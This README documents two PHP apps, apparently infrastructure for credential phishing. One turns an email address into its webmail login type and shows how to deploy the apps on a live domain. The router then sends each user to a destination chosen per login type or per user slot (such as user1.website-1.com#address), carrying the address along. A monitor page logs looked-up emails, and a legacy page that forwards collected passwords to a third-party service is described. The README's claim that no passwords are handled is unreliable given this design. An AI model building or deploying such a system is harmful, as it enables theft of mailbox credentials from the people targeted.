# Webmail Finder + Webmail Router

Two PHP apps that share one resolver:

- **Webmail Finder** (this folder) turns an email address into the correct
  webmail login page and redirects the browser straight there.
- **Webmail Router** (`redirect-server/`) runs as its own server on its own URL.
  It identifies the same login page, then sends the user on to the destination
  page that serves their needs, carrying the address in the URL fragment.

Passwords are never requested, seen or stored by either app.

## Live deployment — livewebserver-finder.com

The live site is served from one domain: the finder sits at the document root,
and the router is uploaded beside it in `redirect-server/`, so it keeps a URL of
its own.

| What                        | URL                                                                 |
| --------------------------- | ------------------------------------------------------------------- |
| **Default finder URL**      | `https://livewebserver-finder.com/`                                 |
| Finder with an address      | `https://livewebserver-finder.com/#abc@email.com`                   |
| **Router (server) URL**     | `https://livewebserver-finder.com/redirect-server/`                 |
| Router with an address      | `https://livewebserver-finder.com/redirect-server/#abc@email.com`   |
| Lookup monitor              | `https://livewebserver-finder.com/monitor.php`                      |

Both `#abc@email.com` forms read the address in the browser (a fragment never
reaches the server): the finder pre-fills the field, the router identifies the
mailbox and redirects straight to its destination.

The same two URLs locally, for comparison:

    php -S 127.0.0.1:8099                     # finder  → http://127.0.0.1:8099/
    php -S 127.0.0.1:8098 -t redirect-server   # router  → http://127.0.0.1:8098/#abc@email.com

### Uploading to the live server

1. Upload the contents of `webmail-finder-live.zip` into the site's document
   root (`public_html/`, `htdocs/`, …). The archive unpacks to:

       index.php  resolve.php  monitor.php  webmail-resolver.php
       webmail-tracker.php  README.txt  .htaccess
       cache/  logs/  redirect-server/{index,route,config}.php  redirect-server/data/

2. Make the runtime directories writable by PHP (directories `0775`, files
   `0644`): `cache/`, `logs/`, `redirect-server/data/`. Nothing else needs to be
   writable, and no other directory should be.

3. Keep the four `.htaccess` files (`/`, `cache/`, `logs/`,
   `redirect-server/data/`). They deny web access to cached answers, the lookup
   log, the user slots and the resolver/tracker includes. Apache reads them
   as-is; on Nginx use the snippet below instead.

4. PHP 7.4+ with the cURL extension, `dns_get_record()` and `getmxrr()`, plus
   outbound HTTPS to ports `443` and `2096`. No database, no Composer, no build
   step — a file upload is the whole deployment.

5. Optional: set `WM_MONITOR_TOKEN` in the vhost or PHP-FPM environment so
   `monitor.php` requires `?token=…`.

### Nginx equivalent of the `.htaccess` rules

```nginx
server {
    server_name livewebserver-finder.com;
    root /var/www/livewebserver-finder.com;
    index index.php;

    # Runtime data and resolver internals are never served.
    location ~ ^/(cache|logs)/            { deny all; }
    location ~ ^/redirect-server/data/    { deny all; }
    location ~ ^/(webmail-resolver|webmail-tracker)\.php$ { deny all; }

    location ~ \.php$ {
        include fastcgi_params;
        fastcgi_pass unix:/run/php/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    }
}
```

## Webmail Router

The router has its own document root (`redirect-server/`) and is started on its
own port, so it has a URL of its own, separate from the finder:

    php -S 127.0.0.1:8098 -t redirect-server

The address can be passed in the URL fragment, which the server never receives:

    http://127.0.0.1:8098/#abc@email.com          (also #mail=abc@email.com)

The router then identifies the mailbox login page, classifies it, and answers
with one `302`:

    http://127.0.0.1:8098/#abc@email.com → https://google.com/#abc@email.com

The address rides along in the destination's fragment, so the destination page
can recognise the user without the address ever being sent to its server. It is
never put in a query string.

### Destinations

`redirect-server/config.php` holds the destination per login type:

| Identified login          | `kind`      | Destination (test mapping) |
| ------------------------- | ----------- | -------------------------- |
| Roundcube                 | `roundcube` | `google.com`               |
| Zimbra                    | `zimbra`    | `amazon.com`               |
| Generic webmail (cPanel,  | `webmail`   | `wikipedia.com`            |
|   SquirrelMail, Horde, …) |             |                            |
| OWA / Exchange            | `owa`       | `temu.com`                 |
| AOL Mail                  | `aol`       | `apple.com`                |
| Comcast Mail              | `comcast`   | `facebook.com`             |
| Rackspace Email           | `rackspace` | `youtube.com`              |
| Any other (hosted         | `other`     | `ebay.com`                 |
|   providers, …)           |             |                            |

A host may contain `{user}`; it becomes the user's stable slot (`user1`,
`user2`, …) kept in `redirect-server/data/users.json`, which is how a
per-user destination such as `user1.website-1.com#abc@email.com` is served. The
slot is assigned once per address and reused afterwards. `WR_DEFAULT_DESTINATION`
(`user{user}.website-1.com`) is used for a login type with no entry in
`WR_DESTINATIONS`.

When no login page can be confirmed, the router shows a short explanation
instead of sending the user to a page that serves nothing.

## What the finder does

1. `index.php` asks for the email address.
2. `resolve.php` resolves the domain's real mailbox login page and returns a
   `302` redirect to it — no interstitial, no proxy, no autofill.
3. `monitor.php` shows the recent lookups (email, resolved URL, method, time).

## How resolution works

The order is deliberate: **a page that really asks for a mailbox password is
evidence; a published DNS record is not.** The resolver therefore looks at the
mailbox itself before it looks at what DNS says about it.

1. **Verified table** — `CONFIRMED_LOGINS`: domains whose login host was
   confirmed by hand (currently `redtailtechnology.com` → the Zimbra login at
   `webmail.redtailtechnology.com`). Answers exactly, instantly, with no
   network call.
2. **Provider table** — consumer domains with a fixed login URL (Gmail,
   Outlook/Hotmail, Yahoo, iCloud, Zoho incl. regions, Proton, Yandex, AOL, GMX,
   mail.com, Mail.ru, QQ, NetEase, Naver, Fastmail, Tuta, IONOS, GoDaddy,
   Namecheap Private Email, Rackspace, Titan, one.com, Strato, TransIP, Combell,
   Infomaniak, Gandi and more). Zero network calls.
3. **MX fingerprints** — the domain's mail servers identify the provider even on
   a custom domain (Google Workspace → `mail.google.com/a/<domain>/`,
   Microsoft 365, Zoho regional, Hostinger, IONOS, GoDaddy, Titan, Rackspace,
   Private Email, Migadu, mailbox.org, …). Anchored, so
   `mx1.mail.comcast.net` can never be read as `mail.com`.
4. **The domain's own mail hosts** — `webmail.<domain>`, `mail.<domain>`,
   `<domain>/webmail`, `:2096`, the MX machine, plus the autoconfig and
   autodiscover files. These are probed **before** any inference, and a
   confirmed login page here is the answer no matter what DNS says elsewhere.
   A mail host that redirects to an organisation's SSO/SAML/CAS portal is
   accepted as the mailbox entry point (that is the normal sign-in flow, e.g.
   `cnrs.fr` → Renater's IdP, `meteo.fr` → `sso.meteo.fr`).
5. **DNS evidence behind a mail gateway** — most large organisations keep their
   mailboxes at Microsoft or Google but publish MX records that point at a
   filter (Proofpoint, Mimecast, Barracuda, Hornetsecurity, Vade, …), which
   says nothing about the mailbox. This step runs only when the domain's own
   hosts offered no login
   page, and it reads:
   - **Tenant DKIM** — `selector1._domainkey` / `selector2._domainkey` pointing
     at a `*.onmicrosoft.com` tenant means Microsoft 365; usable Google DKIM
     means Workspace. Decisive, because the mailbox provider published it.
   - **SRV records** — `_imaps._tcp`, `_imap._tcp`, `_submission._tcp`.
     Decisive for the same reason.
   - **Autodiscover / lync CNAMEs and SPF includes** — treated as *weak* hints.
     A single one is a leftover too often, so two must agree before the mailbox
     is attributed to a provider.

   Two leftovers are rejected outright: a DKIM TXT record whose key is empty
   (`v=DKIM1; p=` means "revoked", not "tenant"), and a lone `autodiscover`
   CNAME.
6. **The wider probe** — the remaining endpoints, built from the MX hosts'
   parent domains and hosting-panel paths:
   - `<domain>/.well-known/autoconfig/mail/config-v1.1.xml` — the file a mail
     client reads; its incoming server usually names the provider outright.
   - `https://<domain>:2096/`, `/webmail`, `mail.<domain>`, `webmail.<domain>`
     (root, `:2096`, `:2095`, `/webmail`, `/login`), `/roundcube/`, `/mail/`,
     `/webmail.php`, `/webmail2`, `/zimbra/`, `/squirrelmail/`, `/horde/`,
     `/owa/`
   - each MX host itself (`https://<mx-host>/`, `:2096`, `/webmail`) plus
     `mail.<mx-parent>` and `webmail.<mx-parent>`

   Both waves are `curl_multi` fetches with a 1.0 s connect / 2.5 s request
   timeout, a 2.2 s budget for the domain's own hosts and 2.0 s for the wider
   wave, and a wave stops the moment a page that identifies itself as mail
   software appears on a strong candidate. A **named** mail application counts
   even when its page has no form: Carbonio and modern Zimbra render an empty
   JavaScript shell, so waiting for a password field would waste the budget.

   Each wave keeps at most twelve connections in flight and resolves the hosts
   of the batch once beforehand, handing the addresses to curl with
   `CURLOPT_RESOLVE`. Firing every candidate at once made curl ask the resolver
   for two or three dozen names in the same instant; the lookups then failed
   with "Resolving timed out", the wave came back empty and private webmail
   logins were reported as "not verified". The addresses are cached for the
   request, so the second wave costs no extra lookups. A page found on a host
   that is neither the domain nor one of its subdomains is ignored unless the
   candidate is one of the domain's own mail hosts, so a hosting company's
   shared `webmail.<its-domain>` is never handed out as this mailbox.
7. **Homepage link** — if nothing answered, one fetch of the site looks for a
   published "Webmail" link and probes it.
8. **Not verified** — if no login page can be confirmed, the user gets a short
   explanation instead of a guessed URL. The old `https://<domain>/webmail`
   fallback was removed because corporate sites answer it with a 404 on their
   marketing page.

### Why the Redtail case resolved to Microsoft

`redtailtechnology.com` publishes MX at Proofpoint and an `autodiscover` CNAME
to `autodiscover.outlook.com` — a leftover from a Microsoft 365 coexistence
period. Its mailboxes are Zimbra at `webmail.redtailtechnology.com`, which
serves "Zimbra Web Client Sign In". The old order asked DNS evidence first, saw
the CNAME and answered `outlook.office.com` in 150 ms without ever looking at
the actual mailbox. Probing the domain's own hosts first fixes it structurally
(the Zimbra page is found in about one second even with `CONFIRMED_LOGINS`
removed); the verified table makes it instant.

### Why nievre.fr was unverified

`nievre.fr` runs **Carbonio**, Zextras' Zimbra-derived mail server, at both
`webmail.nievre.fr` and `mail.nievre.fr`. Its login page is a JavaScript shell:
the whole response is an empty `<div id="app">` plus a script, and its only
static text is the title "Carbonio Authentication". There is no username or
password input in the HTML, so the form-based checks could not see a login, and
"Carbonio" was not among the recognised mail applications. The resolver did the
correct thing with what it knew and said "not verified" instead of guessing.

The fix is a signature, not a special case: Carbonio is now recognised by name,
and a script-rendered page on a mail host whose own title says
sign-in/authentication is accepted even without a form (a company website's
generic "Sign in" page never qualifies — it is not on a mail host). The same
round added SSO hand-off detection and the Hornetsecurity/Vade gateways.
Measured afterwards with an empty cache: `contact@nievre.fr` →
`https://mail.nievre.fr/static/login/` in about 0.33 s, then 1 ms from cache;
`redtailtechnology.com` unchanged; `cnrs.fr` → `https://webmail.cnrs.fr/` and
`meteo.fr` → `https://mail.meteo.fr/` in under half a second. Domains that
really have no published mailbox login (`ovh.com`, whose `webmail.ovh.com`
redirects to a marketing page) stay honestly unverified.

### Cache

Answers are stored as JSON in `cache/`, one file per domain, keyed by resolver
version and domain, and each entry records the domain it answers for — a file
for one domain can never be served as another's answer. Only a **completed**
attempt is written, so a DNS timeout or a probe that ran out of time can no
longer be frozen into the answer every later visitor receives; a timed-out
attempt keeps at most a one-minute "could not confirm" to stop a burst of
requests re-probing the same slow domain. Concurrent requests for one domain
are serialised with a lock, so they cannot overwrite each other's partial
results. Writes are atomic (temp file + rename), the files are `0640`, and the
format is JSON rather than serialized PHP, so nothing in the web-writable cache
directory can become an unserialize() object.

## Why the answer is the right page

A candidate only wins when it really is a mailbox login:

- a mail application signature (Roundcube, SnappyMail, RainLoop, SquirrelMail,
  Horde, Zimbra, Carbonio, Open-Xchange, IceWarp, Atmail, MailEnable, Axigen,
  SOGo, OWA, Mailcow, iRedMail, WorldClient, SmarterMail, Kerio) with a password
  field, accepted wherever it is served; or
- a script-rendered mail login on a mail host (`mail.`, `webmail.`, …) whose
  own title names sign-in/authentication, for pages that ship no form; or
- a mail host that redirects to a real SSO/SAML/CAS/IdP endpoint; or
- a password field on a mail-looking location (port 2096/2095/8443,
  `mail.`/`webmail.` host, `/webmail`, `/roundcube`, …) **and** text that is
  actually about webmail/a mailbox.
- a generic password form is never enough on its own, and `/login` is not
  treated as a mail path.
- `401`/`403` protected webmail directories are used only as a last resort.
- Parked domains, "domain for sale", server default pages, 404s, marketing
  pages and bot challenges are rejected.

## Files

| File                   | Purpose                                            |
| ---------------------- | -------------------------------------------------- |
| `index.php`            | Front page: email input + Confirm button.           |
| `resolve.php`          | Resolves the email and redirects (302) to webmail.  |
| `webmail-resolver.php` | Detection logic (providers, DNS, probing, analysis).|
| `webmail-tracker.php`  | Lookup logging helpers.                             |
| `monitor.php`          | Lookup dashboard.                                   |
| `cache/`               | JSON answers (6 h verified, 15 min unverified) + per-domain locks. |
| `logs/`                | `lookups.jsonl`, capped at 5 MB then rotated.        |
| `redirect-server/index.php` | Router front page; reads the `#email` fragment. |
| `redirect-server/route.php` | Router redirect endpoint (`?email=`).           |
| `redirect-server/config.php`| Destination table and user-slot store.          |
| `redirect-server/data/`     | `users.json` — slot per address, only when used. |
| `.htaccess`, `cache/.htaccess`, `logs/.htaccess`, `redirect-server/data/.htaccess` | Deny web access to runtime data (live server). |

## Project tree

Current contents of the project folder (cache files and the runtime log are
shown by count, not one by one):

```
webmail-ud/
├── .htaccess                       1,104 B   Apache rules: DirectoryIndex, -Indexes, security headers
├── README.txt                      18,326 B   This file (incl. live-deployment section)
├── index.php                       7,098 B   Finder UI (address box, results)
├── resolve.php                     4,509 B   JSON endpoint + lookup logging
├── webmail-resolver.php           86,484 B   Resolver core (probing, DNS evidence, JSON answer cache)
├── webmail-tracker.php             1,963 B   Lookup logging to logs/lookups.jsonl
├── monitor.php                     4,021 B   Lookup monitor page
├── redirect-server.log            25,118 B   Runtime log of the router
│
├── cache/
│   ├── <sha256>.json               1/domain  Answers: domain-bound, versioned, atomic
│   ├── <sha256>.lock               1/domain  Per-domain resolve locks
│   └── .htaccess                             Deny web access to cached answers
│
├── logs/
│   ├── lookups.jsonl              23,282 B   Append-only lookup log (rotated at 5 MB)
│   ├── .gitkeep
│   └── .htaccess                             Deny web access to the log
│
└── redirect-server/
    ├── index.php                   6,434 B   Router UI (reads #email fragment)
    ├── route.php                   3,490 B   Destination mapping + redirect
    ├── config.php                  3,719 B   Destination table and user-slot store
    └── data/
        ├── users.json                  3 B   `{}` — slot per address, only when used
        └── .htaccess                             Deny web access to the slots
```

Total on disk is roughly 231 KB. Everything except `cache/`, `logs/`,
`redirect-server/data/` and `redirect-server.log` is code or documentation; the
first three are runtime state and are never served (see the `.htaccess` files).
`webmail-finder-live.zip` is the deployment archive and is not kept in this
folder — rebuild it before uploading if it is missing.

## Requirements

- PHP 7.4+ with the cURL extension.
- Standard DNS functions (`dns_get_record`, `getmxrr`).
- Outbound HTTPS to ports 443 and 2096.

## Customisation

- `CONFIRMED_LOGINS` — a login confirmed by hand for one exact domain; answers
  before every other step. Add an entry when a domain's published DNS records
  disagree with the mailbox its users actually open.
- `CONSUMER_DOMAINS` — fixed login URL per consumer domain.
- `MX_RULES` — provider fingerprints for MX, SRV, DKIM and autoconfig hosts;
  `%d` is the email domain, `%1` the pattern's first capture (e.g. the Zoho
  region).
- `SPF_SIGNATURES` — SPF includes that name a provider.
- `MAIL_APP_SIGNATURES` / `PANEL_SIGNATURES` / `BAD_MARKERS` — what counts as a
  mail login page and what must be rejected.
- `VERSION` — bump to invalidate every cached answer after logic changes.
- `WR_DESTINATIONS` / `WR_DEFAULT_DESTINATION` in `redirect-server/config.php`
  — where each login type is sent, and the `{user}` slot template.

## Classifying a login page

`WebmailResolver::resolve()` returns `kind` next to the URL: `roundcube`,
`zimbra` (including Zimbra-derived Carbonio), `webmail`, `owa`, `aol`,
`comcast`, `rackspace` or `other`. It comes
from the page the probe confirmed (the detected mail application), the consumer
provider domain, or the MX/provider label, with the URL path (`/roundcube`,
`/zimbra`, `/owa`) and host as a fallback.
`WebmailResolver::loginKind($app, $url)` exposes the same classification.

## Legacy files

`webmail redirect.html` and `Webmail-fast-email-delivery.html` are older static
prototypes kept for reference only. `Webmail-fast-email-delivery.html` collects
passwords and forwards them to a third-party service (EmailJS) — do not deploy
it. The PHP app never collects or transmits credentials.
